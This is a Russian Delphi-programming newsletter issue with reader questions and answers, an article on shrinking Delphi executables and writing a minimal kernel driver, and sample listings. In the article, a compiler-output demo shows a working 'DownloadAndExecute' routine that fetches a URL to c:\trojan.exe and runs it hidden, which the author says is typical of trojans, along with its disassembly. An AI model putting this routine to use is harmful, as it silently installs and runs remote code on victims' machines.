Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Интернет для Delphi-программиста


Информационный Канал Subscribe.Ru

Интернет для Delphi программиста.

Выпуск : № 43


Здравствуйте уважаемые подписчики рассылки "Интернет для Delphi программиста". Данная рассылка предназначена для всех кого интересует Delphi, здесь будут выкладываться ссылки на различные ресурсы интернета так или иначе связанные с Delphi: книги, исходники, программы... Изучайте Delphi один из лучших языков программирования!!!


ЗАДАТЬ ВОПРОС :

Правила рассылки: 
1. Не присылайте ответов на вопросы типа "да, нет".  
2. Если отвечаешь на вопрос - то отвечай подробно с примерами (желательно с исходником примера).
3. Тема вопросов - программирование на Delphi.
Внимание авторам: - Я не указываю ваши адреса из-за спама, но кто хочет, чтобы его email был - пишите, иначе только имя(ник).
Отправить вопрос


Новые вопросы.


Вопрос № 104 задаёт: source Ответить  
Здравствуйте уважаемые эксперты и подписчики рассылки. У меня возникла небольшая проблема. Как сделать, чтобы при нажатии на кнопку в компонент PopUpMenu добавлялись новые пункты - Caption которых брался из списка, которых хранится в текстовом файле. Процедура для всех новых пунктов одна и та же, но необходимо получить Caption пункта меню по которому кликнули. Изначально в этом меню уже существуют 3 пункта. При каждом клике по кнопке список пунктов должен обновляться . Другими словами нужно что-то похожее на меню избранное в IE с вышеуказанными параметрами. Я просто довожу до ума свой IRC клиент - решил в него добавить пункт Избранное, но вот застрял на создании пунктов меню :(.
http://source.at.tut.by/instruments.exe
Вопрос № 105 задаёт: Володя Павлов  Ответить
Подскажите пожалуйста (желательно привести пример) как при помощи Delphi переконвертировать html файл в текстовый, doc файл в текстовый.
Вопрос № 106 задаёт: Ярошук Ю.А.  Ответить
Имею базу данных в Excel книгах (5 книг), как организовать поиск и сортировку на Delphi. Варианты:
1. Формат данных Excel.
2. Формат данных html.
Вопрос № 107 задаёт: GENEMI  Ответить
Нужен Компонент для редактирования текста.
Главная особенность компонента который мне нужен для редактирования текста это возможность - "куда не ткну - там и пишу" смешно, но смысл передал полностью.
Поддержка Unicode.

Ответы.

Вопрос № 99 задаёт: Сергей Ответить
Здравствуйте всем.
Такой вопрос: программа генерирует рабочую книгу Excel, состоящую из большого количества листов с разным содержимым. Время от времени некоторые листы необходимо удалять без вмешательства пользователя. Excel же это сделать не дает. Он в любом случае выдает окно подтверждения на удаление.
Как мне удалить лист Excel без вывода подтверждения на удаление со стороны Excel? Или как программно из Delphi ответить утвердительно на этот запрос?
Пробовал перед удалением листа сначала удалять данные из него и применял разные методы удаления листа, но результат тот же.
Если есть у кого какие мысли, поделитесь. Буду благодарен.
var
XL: TExcelApplication;
...

(XL.ActiveWorkbook.Sheets[1] as _Worksheet).Activate(lcid);
with XL.ActiveWorkbook do
(Worksheets.Item[1] as _Worksheet).Delete(lcid);

Отвечает: Vadim  

Во-первых, при работе с большим объемом инфо для Excel удобнее работать не через OLE, а напрямую с файлом *.xls, хотя бы для того, чтобы ускорить процесс на порядок.
Во-вторых, я бы создал каталог старых архивов и не удалял листы, а архивировал бы туда сам файл (с датой архивации в имени).
Затем перезаписывал *.xls нужной инфо с любым количеством листов.
Для этого есть мощный компонент TXLSReadWriteII. Работает отлично
(если конвертируешь набор данных -
используешь впаре TXLSDbRead/TXLSReadWriteII).
Отправляю версию 1.15fullsource, которую опробовал.
Перед установкой надо исправить пути в нужном *.dpk.

http://info-delphi.narod.ru/file/komp/XLSReadWriteIIv1_15.rar

Вопрос № 102 задаёт: wvw  Ответить
Подскажите пожалуйста! Работаю с реестром - необходимо создать программно двоичный параметр со значением 0A ff и пожалуйста пример кода. Заранее благодарен.
Отвечает:   Евгений http://decoding.narod.ru
uses
  ..., Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
  data: WORD;
begin
   data := $FF0A;
   reg := TRegistry.Create;
   try
      reg.RootKey := HKEY_LOCAL_MACHINE;
      reg.OpenKey( 'SOFTWARE\Test', true );
      reg.WriteBinaryData( 'Value', data, SizeOf( data ) );
   finally
      reg.CloseKey;
      reg.Free;
   end;
end;
Отвечает:  SHKoder
BinToHex procedure

See also

Converts a binary value into its hexadecimal representation.

Unit

Classes

Category

type conversion routines

Delphi syntax:

procedure BinToHex(Buffer, Text: PChar; BufSize: Integer);

C++ syntax:

extern PACKAGE void __fastcall BinToHex(char *Buffer, char *Text, int BufSize);

Description

Call BinToHex to convert the binary value in a buffer into a string that is its hexadecimal representation.
Buffer is a buffer of bytes that contains the binary value.
Text returns a null-terminated string that represents the value of Buffer as a hexadecimal number.
BufSize is the size of Buffer. Text needs to point to a sequence of characters that has at least
2*BufSize bytes because each hexadecimal character represents two bytes.

Вопрос № 103 задаёт: Тимур  Ответить
Здравствуйте!
Помогите, пожалуйста. Моя программа после всех вычислений создаёт таблицу данных (Paradox7). Как теперь её экспортировать в шаблон Word'а XP(шаблон имеется - таблица), причём чтобы таблица Paradox вставлялась целиком или построчно, но, допустим, начиная с 8-й строки и со второго столбца в таблицу Word'а? Спасибо.
Отвечает: Тимур 
Я сам нашёл ответ в Интернете: http://www.kornjakov.ru/stat.htm#s4 - статья просто супер!


Статья:     "Delphi всемогущий" Автор: Ms-Rem[@]yandex.ru

Выжимаем из Delphi все возможное

Ты пишешь на дельфях и чувствуешь себя аутсайдером? Тебе нечем ответить в бесконечных hollywar'ах? Теперь ты точно будешь знать: дельфи стоит того, чтобы его любить. И не только из-за простоты этого языка. Очень маленькие и очень быстрые программы на дельфи - это возможно! Ты расскажешь об этом всем сомневающимся. И с мнением, что дельфи - язык для ламеров, будет покончено!

Многие системные программисты привыкли считать Delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой формы с кнопкой - 400 килобайт. Впрочем, иногда никаких аргументов и вовсе не приводится. Когда на форумах сталкиваются поклонники С++ и Delphi, первые обычно кричат о супернавороченном синтаксисе и потрясающих возможностях ООП, при этом утверждая, что в системном программировании все это необходимо, а вторые - о возможностях того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из слов и тех, и других можно заключить, что обе стороны ни про Delphi, ни про C++ ничего толком не знают, и все это - пустая ламерская болтовня.

Эта статья посвящена приемам системного программирования на Delphi. Она написана для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится вложить в свое дело определенный труд. Я покажу, как делать на дельфи то, что многие считают невозможным. Тем, кто занимается кодингом на С++, не составит труда найти целую кучу статей по оптимизации. Если же ты пишешь на Delphi, ты не найдешь на эту тему ничего хорошего. Видимо, все считают, что никакой оптимизации здесь не нужно. Может быть, тебя устраивает 400-килобайтная пустая форма с кнопкой? А, ты думаешь, что это неизбежное зло, и уже давно с ним смирился? Что ж, придется немного расстроить твои нервы и развеять священные заблуждения.

[немного о генерируемом компилятором коде]

Для начала проверим утверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого напишем функцию, скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах). Писать будем, естественно, с применением API. Вот что у меня получилось:

procedure DownloadAndExecute(Source: PChar); stdcall;
const
DestFile = 'c:\trojan.exe';
begin
  UrlDownloadToFile(nil, Source, DestFile, 0, nil);
  WinExec(DestFile, SW_HIDE);
end;

Этот сорец я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированный листинг:

DownloadAndExecute proc near 
Source = dword ptr 8
push ebp
mov ebp, esp
push 0 ; LPBINDSTATUSCALLBACK
push 0 ; DWORD
push offset DestFile ; LPCSTR
mov eax, [ebp+Source]
push eax ; LPCSTR
push 0 ; LPUNKNOWN
call URLDownloadToFileA
push 0 ; uCmdShow
push offset DestFile ; lpCmdLine
call WinExec
pop ebp
retn 4
DownloadAndExecute endp
DestFile db 'c:\trojan.exe',0

Ну и где же куча лишнего кода, о котором некоторые так любят говорить? Все просто и красиво, почти то же самое можно написать вручную на ассемблере. Тем более, что на нем некоторые умники иногда такое выдают - любые ошибки компилятора покажутся мелочью :).

Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его не генерирует? Сейчас мы разберем этот вопрос подробнее.

[ООП - двигатель прогресса]

ООП - весьма модное в настоящее время направление программирования. Его цель - упростить написание программ и сократить сроки их разработки, и с нею ООП прекрасно справляется. Большинство прикладных программистов, пишущих на С++ или Delphi, уже не мыслят своей деятельности без ООП. Их главный принцип - быстрее сдал программу, быстрее получил деньги. В таких условиях о какой бы то ни было оптимизации просто забывают.

А ведь если взглянуть на дело глазами системного программиста, то сразу станет очевиден главный недостаток: ООП - качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При создании объекта этого класса компилятор будет вынужден полностью включить в его состав также код родительского класса, поскольку нет возможности определить, какие методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает в реальных программах, то весь его код войдет в программу, и от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через десять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность рабочего. Все это хорошо видно на примере библиотеки VCL в дельфи.

А вот программа, написанная на VB или на VC с применением MFC, отчего-то занимает гораздо меньше места. Все потому, что великая и ужасная компания Microsoft приложила к этому свою лапу. MFC и runtime-библиотеки в VB весят ничуть не меньше, просто они скомпилены в DLL и входят в поставку Windows, а значит, их код не приходится таскать с собой в программах. В защиту Borland можно сказать, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку Build with runtime packages, тогда программа значительно уменьшится, но потребует наличия соответствующих runtime-библиотек. Естественно, эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.

Любители ООП, желающие разрабатывать программы в визуальном режиме, могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом ее недостатков. Средний размер пустой формы с кнопкой - 35 Кб, что уже лучше, но для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое.

Те, кто хочет добиться действительно высокой эффективности кода, должны идти по принципиально другому пути: забыть про ООП и все, что с ним связано, раз и навсегда. Писать программы придется только на чистом API.

[виновник номер два]

Создадим в Delphi пустой проект, заведомо не содержащий никакого полезного кода:

program Sample;

begin

end.

После компиляции в Delphi 7 мы получаем экзешник размером в 13,5 Кб. Откуда?! Ведь в программе ничего нет! Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем экзешник и посмотрим, что он содержит. Точка входа в программу будет выглядеть так:

public start

start:
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov eax, offset ModuleId
call _InitExe
; здесь мог бы быть наш код 
call _HandleFinally
CODE ends

Весь лишний код находится в функциях _InitExe и _HandleFinally. Дело в том, что к каждой Delphi программе неявно подключается код, входящий в состав RTL (Run Time Library). Эта либа нужна для поддержки таких возможностей языка, как ООП, работа со строками (string) и специфичные для паскаля функции (AssignFile, ReadLn, WriteLn, etc.). InitExe выполняет инициализацию всего этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.

Сделано это, опять же, для упрощения жизни программистам, и применение RTL иногда оправданно, так как может не понизить, а повысить эффективность кода. Например, в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. В плане производительности генерируемого кода работа со строками реализована в RTL тоже довольно неплохо, правда все равно, в увеличении размера файла, RTL - виновник номер два после ООП.

[уменьшаем размер]

Если минимальный размер в 13,5 Кб тебя не устраивает, то будем убирать Delphi RTL. Весь код либы находится в двух файлах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное, что можно сделать, - удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные DCU-файлы положить в папку с программой.

Файл System.pas содержит основной код RTL и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла должно быть таким:

unit System;

interface

procedure _HandleFinally;

type

TGUID = record

D1: LongWord;
D2: Word;
D3: Word;

D4: array [0..7] of Byte;

end;

PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext; 
ExcFrame: Pointer; 
InitTable: pointer; 
InitCount: Integer; 
Module: pointer; 
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer; 
DLLSaveEDI: Pointer; 
ExitProcessTLS: procedure; 
DLLInitState: Byte; 

end;

implementation

procedure _HandleFinally;
asm

end;
end.

Описания структуры TGUID компилятор требует в любом случае и без нее компилировать модуль отказывается. TInitContext понадобится линкеру, если мы будем собирать DLL. HandleFinally - процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.

Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Нам хватит следующего:

unit SysInit;

interface

procedure _InitExe;
procedure _halt0;
procedure _InitLib(Context: PInitContext);

var

ModuleIsLib: Boolean; 

TlsIndex: Integer = -1; 
TlsLast: Byte; 

const

PtrToNil: Pointer = nil; 

implementation

procedure _InitLib(Context: PInitContext);
asm

end;

procedure _InitExe;
asm

end;

procedure _halt0;
asm

end;
end. 

InitExe - процедура инициализации RTL для EXE-файлов, InitLib - для DLL, halt0 - завершение работы программы. Все остальные лишние структуры и переменные, которые пришлось оставить, необходимы компилятору. Они не будут включаться в выходной файл и никак не повлияют на его размер.

Теперь положим эти два файла в папку с проектом и скомпилируем их из командной строки:

dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O

Избавившись от RTL, мы получили экзешник размером в 3,5 Кб. Борландовский линкер создает в исполняемом файле шесть секций, они выравниваются по 512 байт, к ним плюсуется PE-заголовок, что и дает эти 3,5 Кб.

Но вдобавок к малому размеру мы получаем и определенные затруднения, так как теперь не сможем использовать заголовочные файлы на WinAPI, идущие с Delphi. Вместо них придется писать свои. Это нетрудно, поскольку описания используемых API можно брать из борландовских хедеров и переносить в свои по мере необходимости.

Если в составе проекта есть несколько PAS-файлов, линкер для выравнивания кода вставит в него пустые участки, и размеры опять увеличатся. Чтобы этого избежать, нужно всю программу, включая определения API, помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc-файлов. Тут может встретиться еще одна проблема - повторяющийся код (когда несколько inc-файлов подключают один и тот же inc) компилятор в таких случаях компилировать откажется. Выйти из положения можно, воспользовавшись директивами условной компиляции, после чего любой inc-файл будет иметь вид:

{$ifndef win32api}
{$define win32api}
// здесь идет наш код 
{$endif}

Таким образом, можно писать без RTL достаточно сложные программы и забыть о неудобствах.

[можно еще меньше!]

Наверняка минимальный размер экзешника в 3,5 Кб удовлетворит не всех. Что ж, если постараться, можно ужать его еще в несколько раз. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от Microsoft. К сожалению, здесь нас ждет одна загвоздка. Мелкософтовский линкер использует в качестве основного рабочего формата COFF, но может понимать и интеловский OMF. Однако программисты Борланда (видать, нарочно) в версиях Delphi выше третьей изменили генерируемый формат obj-файлов так, что теперь он несовместим с Intel OMF. То есть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы, способной конвертировать объектные файлы из формата Borland OMF в COFF или Intel OMF, я не нашел. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный объектный файл Intel OMF. Импорт используемых API нам тоже придется описывать вручную, причем достаточно необычным способом. Для начала возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в HEX-редакторе. Имена функций в ней имеют вид "_MessageBoxA@16", где после @ идет размер передаваемых параметров. Следовательно, объявлять функции мы будем таким образом:

function MessageBoxA(hWnd:cardinal;lpText,lpCaption:PChar;uType:Cardinal): Integer;stdcall;external'user32.dll' name '_MessageBoxA@16';

Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:

unit HelloWorld;

interface

Procedure Start;

implementation

function MessageBoxA(hWnd:cardinal;lpText,lpCaption:PChar;uType:Cardinal): Integer;stdcall;external'user32.dll' name '_MessageBoxA@16';

Procedure Start;
begin
MessageBoxA(0, 'Hello world!', nil, 0);
end;
end.

Тип модуля UNIT нужен для того, чтобы компилятор генерировал в объектном файле символьные имена объявленных процедур. В нашем случае это будет процедура Start - точка входа в программу. Теперь компилируем проект следующей строкой:

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWorld.pas

Новый файл HelloWorld.obj открываем в HEX-редакторе и смотрим, во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец, выполним сборку:

link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe

В результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:

; Attributes: bp-based frame
; char Text[]
Text db 'Hello world!',0 
public start
start proc near
push 0 ; uType
push 0 ; lpCaption
push offset Text ; lpText
push 0 ; hWnd
call MessageBoxA
retn
start endp

Ни байта лишнего кода! Покажи этот пример всем, кто любит говорить о большом размере программ, написанных на дельфи, и понаблюдай за их выражением лица - это прикольно :). Самые упорные промычат: «А... Э... Все равно дерьмо!», но уже никто ничего не скажет по существу. А самые продвинутые спорщики приведут последний аргумент - на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас и они присоединятся к проигравшим :).

[пишем драйвер на Delphi]

О том, как по нашей методике сделать невозможное - написать на Delphi драйвер режима ядра, даже есть статья на RSDN, и всем интересующимся я рекомендую ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.

unit Driver;

interface

function DriverEntry(DriverObject, RegistryPath: pointer): integer; stdcall;

implementation

function DbgPrint(Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';
function DriverEntry(DriverObject, RegistryPath: pointer): integer; 
begin
  DbgPrint('Hello World!');
  Result := -1;
end;
end.

Файл make.bat:

dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- Driver.pas

link.exe /DRIVER /ALIGN:32 /BASE:0x10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sys

Для компиляции нам понадобится файл ntoskrnl.lib из DDK. Мы получим драйвер размером в килобайт, который выводит сообщение «Hello World» в отладочную консоль и возвращает ошибку, а потому не остается в памяти и не требует определения функции DriverUnload. Для запуска драйвера используй KmdManager от Four-F. Увидеть результаты его работы можно в софтайсе или DbgView.

Главная проблема, из-за которой на Delphi нельзя писать полноценные драйвера, - отсутствие DDK. Для написания драйверов нужны заголовочные файлы на API-ядра и описания большого количества системных структур. Все это богатство есть только для С (от Microsoft) и для MASM32 (от Four-F). Есть слух, что DDK для паскаля уже существует, но автор продает его за деньги и сильно этот факт не афиширует. Думаю, когда-нибудь все-таки найдутся энтузиасты, которые перепишут DDK на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров, связанных с системным программированием, написаны на си, поэтому на каком бы языке ты ни писал свои программы, си знать придется. Это, конечно, не означает, что придется изучать С++ в полном его объеме. Для понимания системных программ хватит базовых знаний синтаксиса, все остальное же используется только в прикладных программах, которые нас совершенно не интересуют.

[переносимость кода]

При программировании на стандартных Delphi компонентах, кроме кучи недостатков, мы получаем одно достоинство - некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в Kilix и работать в Linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово, тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам, все-таки хочется иметь некоторую независимость от системы. Получить ее очень просто - достаточно писать код, не использующий ни API-функций, ни возможностей языка вообще. В некоторых случаях это совершенно невозможно (например, в играх), но иногда функции системы абсолютно не нужны (например, в математических алгоритмах). В любом случае, следует четко разделять машинно-зависимую и машинно-независимую (если такая есть) части кода. При соблюдении вышеописанных правил машинно-независимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для PIC-контроллеров). Независимый от API код можно смело компилировать в DLL и использовать, например, в драйвере режима ядра. Также такую DLL не составит труда использовать и в других ОС. Для этого нужно просто посекционно отмапить DLL в адресное пространство процесса, настроить релоки и смело пользоваться ее функциями. Осуществляющий это код на паскале занимает около 80 строк. Если же DLL все-таки использует некоторые API-функции, то их наличие можно проэмулировать, заполнив таблицу импорта DLL адресами заменяющих их функций в своей программе.

[общие приемы оптимизации]

Старайся везде, где можно, использовать указатели. Никогда не передавай данные в функцию таким образом:

procedure FigZnaet(Data: TStructure);

Всегда передавай указатели на структуры:

procedure FigZnaet(pData: PStructure); где PStructure = ^TStructure;

Такой вызов происходит быстрее и экономит немалое количество кода.

Старайся не пользоваться типом данных string, вместо него всегда можно использовать Pchar и обрабатывать строки вручную. Если нужен временный буфер для хранения строки, то его следует объявить в локальных переменных как array of char. Старайся передавать в функцию не больше трех параметров: первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в Delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память: если, например, у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно объявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия должны повторяться, то их нужно вынести в функцию. Тем не менее, не стоит делать функцию, содержащую две строчки кода, - ее вызов может занимать куда больше места, чем она сама. И помни главное: эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом,что эффективнее!


Исходники:   

Как зарегистрировать новое расширение файла v 1.01

Этот пример показывает, как зарегистрировать новой тип файла, как добавить записи в контекстное меню типов файлов и как добавить несколько записей в подменю “New” в Windows 95/NT. По сравнению с первой версией исправлена ошибка, из-за которой мог быть удалён весь ключ HKEY_CURRENT_USER при использовании Delphi версией больше третей.

Как работать с TRegistry v 1.0

Это пример небольшой демонстрационной программы, которая позволяет найти записи регистра и вывести их в компонент TlistBox. Пример особенно полезен для новичков, которые хотят научиться работать с TRegistry.

INI Example v.1.0

Это простой пример который показывает к читать и записывать данные в INI Файл.
Этот пример использует TINIFiles компонент Delphi/

MIDAS Server in NT Service example v.1.0

Это демонстрационное приложение показывает как можно создать MIDAS сервер используя NT Service application. Пример включает подробную пошаговую инструкцию.

Process, thread, module Lister v.1.0

Пример выводит список всех запушенных процессов, потоков и модулей. Есть возможность убить какой-либо процесс.


Интересные и полезные сайты по Delphi: Если Вы хотите, чтобы Ваш сайт был в этом разделе пишите.
http://www.noil.pri.ee/ - Здесь вы можете почитать статьи, скачать исходники и компоненты, пообщаться на форуме.
http://www.delphi.int.ru/ - Ресурс для Delphi-программистов, где каждый найдёт что-то полезное!
http://www.ExCode.ru - Программирование на высоком уровне
http://decoding.narod.ru - Сайт для Delphi-программистов со статьями автора, компонентами, FAQ, и другой полезной информацией.

Немного юмора:  :))

Компьютерщик - это единственный человек, который может попросить у начальника
двести баксов на память и получить их.


Вопрос: Я скачала файл из Интернета, а он мне оказался не нужен. Как его теперь
закачать обратно?
Ответ: Дура, из-за таких как ты скоро в Интернете вообще файлов не останется.


Торопить женщину - то же самое, что пытаться ускорить загрузку компьютера.
Программа все равно должна выполнить все очевидно необходимые вещи и еще
многое такое, что всегда остается скрытым от нашего понимания.


К девушке:
- Да таких как ты, я из инета гигами качаю!


Поставила как-то злая мачеха windows 98 и windows 2000 в одну папку, позвала
Золушку и сказала:
- ЧТО БЫ К УТРУ ОБЕ СИСТЕМЫ БЫЛИ ПО РАЗНЫМ ПАПКАМ....


format c: [y/n] ?
yes!
format c:\ ...
аааа! no no no no !

ok!
deformat c:\



Дружественные рассылки:

Рассылки Subscribe.Ru
Программирование на Delphi
Рассылка сайта Delphi coding


Все кто хочет изучить Delphi и реально научиться писать свои программы, ЦПИ "Эверест" поможет Вам.
Всё, что Вам нужно это компьютер и доступ к интернету - для получения уроков.

10 причин в пользу платного обучения в ЦПИ "Эверест"…

1. Когда Вы платите деньги- появляется дополнительный стимул против лени: надо учиться, ведь деньги уже уплачены….
2. Учась платно, получаете удобный для Вас график работы.
3. Весь необходимый справочный материал Вы получите в свое время и на русском языке.
4. Используя интернет в качестве бесплатной библиотеки, Вы получаете все ее минусы:

  • трата времени на поиск необходимого материала (а это потерянные деньги и время). А у Вас есть лишние время и деньги?;
  • отсутствие гарантии, что Вы "осилите" данный материал, ведь пишут его, в основном, не педагоги- профессионалы, а программисты- профессионалы, а они пишут для таких же, как они. А Вы программист- профессионал?
  • отсутствие системности в скачиваемом материале (ведь человек, писавший для Вас материал, не знает, чем Вы владеете). А Вы обладаете системой знаний по Delphi?;

5. Стоимость обучения одного месяца в ЦПИ "Эверест" сравнима с ценой хорошей книги. Но часто ли Вам попадались книги, рассчитанные именно на Вас. Мы же работаем индивидуально.
6. Автор книги или магазин не несет никакой ответственности за то, поняли ли Вы материал или нет, мы же закрепляем за каждым курсантом преподавателя, курирующего Вас.
7. Освоив программирование в Delphi - Вы освоите:

  • основы настоящего программирования- структурного и процедурного программирования ;
  • систему работы с базами данных и SQL- запросами, а это одно из самых перспективных направлений в программировании;
  • язык программирования ObjectPascal, что позволит Вам легко перейти, при желании, на С или Паскаль;
  • работу с компьютерной графикой;
  • при желании - основы низкоуровневого программирования ( Ассемблер).

8. А это значит, что …Мы предлагаем получить "высшее образование" - профессию программиста всего за 1 год и 144 доллара, любой ВУЗ попросит в 3 раза больше за один только семестр.
9. Вы получаете самый практический курс в сети, поскольку теория дается только тогда, когда она действительно необходима…
10. Учиться у нас легко и просто. Весь материал доступен и простым людям, не имеющим никогда дел с программированием….


По всем вопросам обращайтесь ко мне.

Если вы встретили в интернете интересный сайт или статью, да и вообще, что угодно связанное с Delphi, поделитесь ссылкой.
Если можете написать статью связанную с Delphi - присылайте с радостью выложу.
Давайте поможем друг другу!  Архив рассылки.

Предложения, критику и пожелания пишите на e-mail.


Subscribe.Ru
Поддержка подписчиков
Другие рассылки этой тематики
Другие рассылки этого автора
Подписан адрес:
Код этой рассылки: comp.soft.prog.delphiinternet
Архив рассылки
Отписаться
Вспомнить пароль

В избранное